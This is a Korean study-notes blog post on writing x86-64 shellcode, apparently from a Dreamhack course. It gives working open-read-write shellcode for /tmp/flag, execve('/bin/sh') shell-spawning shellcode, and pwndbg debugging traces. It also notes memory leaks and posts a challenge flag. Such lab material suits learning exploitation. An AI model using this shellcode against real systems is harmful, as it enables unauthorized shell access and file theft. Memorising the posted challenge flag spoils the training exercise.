익스플로잇 (Exploit)
상대 시스템을 공격하는 것
셸코드(Shellcode)
익스플로잇을 위해 제작된 어셈블리 코드 조각. 셸을 획득하기 위한 목적으로 사용.
쉘을 획득하는 것은 시스템 해킹의 관점에서 매우 중요.
orw 셸코드
파일을 열고 읽은 뒤 화면에 출력해주는 셸코드
syscall
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
"/tmp/flag"를 읽는 셸코드 작성하기
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
1. int fd = open("/tmp/flag", O_RDONLY,NULL)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
open | 0x02 | const char *filename | int flags | umode_t mode |
/tmp/flag라는 문자열을 메모리에 위치시키기
- 스택에 0x67 push 후, 0x616c662f706d742f67(/tmp/flag) push
#define O_RDONLY 0 /* Open read-only. */
#define O_WRONLY 1 /* Open write-only. */
#define O_RDWR 2 /* Open read/write. */
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
2.read(fd,buf,0x30)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
syscall의 반환 값은 rax로 저장.
open으로 획득한 /tmp/flag의 fd는 rax에 저장
read의 첫번쨰 인자를 이값으로 설정해야하므로 rax를 rdi에 대입
rsi는 파일에서 읽은 데이터를 저장할 주소를 가리키는데, 0x30만큼 읽을 것이므로 이를 대입
rdx는 읽어낼 데이터의 길이인 0x30으로 설정
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
3.write(1, buf, 0x30)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
출력은 stdout이므로 rdi는 0x1
rsi, rdx는 read 값 그대로
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
컴파일 및 실행
ELF(Executable and Linkable Format)은 크게 헤더, 코드, 기타 데이터로 구성.
작성한 셸코드는 ELF 형식이 아니라 실행이 불가하므로 gcc 컴파일을 통해 이를 형식 변형
orw 셸코드 디버깅
1. int fd = open("/tmp/flag", O_RDONLY,NULL)
pwndbg> b *run_sh+29
Breakpoint 2 at 0x555555555146
pwndbg> c
Continuing.
Breakpoint 2, 0x0000555555555146 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x2
RBX 0x0
RCX 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*RDX 0x0
*RDI 0x7fffffffe2f8 ◂— '/tmp/flag'
*RSI 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555135 <run_sh+12> push rax
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
► 0x555555555146 <run_sh+29> syscall <SYS_open>
file: 0x7fffffffe2f8 ◂— '/tmp/flag'
oflag: 0x0
vararg: 0x0
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
...
open("/tmp/flag",O_RDONLY, NULL);이 실행됨.
2.read(fd,buf,0x30)
pwndbg> b *run_sh+55
Breakpoint 3 at 0x555555555160
pwndbg> c
Continuing.
Breakpoint 3, 0x0000555555555160 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x0
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX 0x30
*RDI 0x3
*RSI 0x7fffffffe2c8 ◂— 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555148 mov rdi, rax
0x55555555514b mov rsi, rsp
0x55555555514e sub rsi, 0x30
0x555555555152 mov rdx, 0x30
0x555555555159 mov rax, 0
► 0x555555555160 syscall
fd: 0x3 (/tmp/flag)
buf: 0x7fffffffe2c8 ◂— 0x0
nbytes: 0x30
0x555555555162 mov rdi, 1
0x555555555169 mov rax, 1
0x555555555170 syscall
0x555555555172 xor rdi, rdi
0x555555555175 mov rax, 0x3c
...
새로 할당한 /tml/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7ffffffffe2c8에 저장
3.write(1, buf, 0x30)
pwndbg> c
Continuing.
Breakpoint 4, 0x0000555555555170 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x1
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
RDX 0x30
*RDI 0x1
RSI 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
0x555555555160 <run_sh+55> syscall
0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
► 0x555555555170 <run_sh+71> syscall <SYS_write>
fd: 0x1 (/dev/pts/11)
buf: 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
n: 0x30
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
0x55555555517c <run_sh+83> syscall
0x55555555517e <main> endbr64
0x555555555182 <main+4> push rbp
...
데이터를 저장한 0x7fffffffe2c8에서 48 바이트 출력
초기화되지 않은 메모리 영역 사용
알 수 없는 문자열 출력 -> 초기화되지 않은 메모리 영역 사용에 의한 것
메모리 릭(Memory Leak)
쓰레기값이 의미가 없지 않음. 이런 중요한 값을 유출해내는 작업을 말함.
execve 셸코드
쉘(shell)은 운영체제에 명령을 내리기 위해 사용되는 사용자 인터페이스로 커널과 대비됨.
execve 셸코드는 임의의 프로그램을 실행하는 셸코드로, 이를 이용하면 서버의 셸 획득 가능.
execve("/bin/sh",null,null)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
execve | 0x3b | const char *filename | const char *const* argv | const char *const* envp |
execve 시스템 콜만으로 구성.
argv: 실행파일에 넘겨줄 인자
envp: 환경변수
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
execve 셸코드 컴파일 및 실행
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
실행결과 sh가 실행
문제
문제는 이해가 어려워 구글링을 열심히...했다
https://pd6156.tistory.com/229
위 글을 참고(라기엔 따라쓰기에 가까웠다...)해서 했는데 이해가 어려워서 추후 다시 풀어봐야만 할 것 같다.
플래그값은 다음과 같이 나왔다. DH{ca562d7cf1db6c55cb11c4ec350z3c0b}
댓글